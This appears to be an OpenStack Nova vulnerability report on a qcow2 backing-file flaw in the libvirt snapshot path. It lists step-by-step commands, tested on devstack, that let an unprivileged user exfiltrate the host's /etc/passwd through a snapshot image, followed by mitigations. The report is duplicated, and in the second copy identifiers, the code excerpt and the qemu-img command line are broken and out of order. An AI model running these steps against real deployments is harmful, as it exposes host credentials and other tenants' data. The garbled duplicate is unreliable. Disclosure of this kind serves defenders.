There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, while instance disk data is owned by the qemu user not the nova user, on the deployments I have looked at disks are world readable, all their parent directories are world accessable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data.
There is a qcow2 format vulnerability in LibvirtDriver. snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver. snapshot does:
source_format = libvirt_ utils.get_ disk_type( disk_path) backend = self.image_ backend. snapshot( instance,
image_ type=source_ format) backend. snapshot_ extract( out_path, image_format)
...
snapshot_
disk_path,
...
snapshot_
libvirt_ utils.get_ disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_ images= False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt. utils.extract_ snapshot( ) expects to be reading from a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, while instance disk data is owned by the qemu user not the nova user, on the deployments I have looked at disks are world readable, all their parent directories are world accessable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run: file=/etc/ passwd bad.qcow2
$ qemu-img create -f qcow2 -o backing_
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_ images= False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data.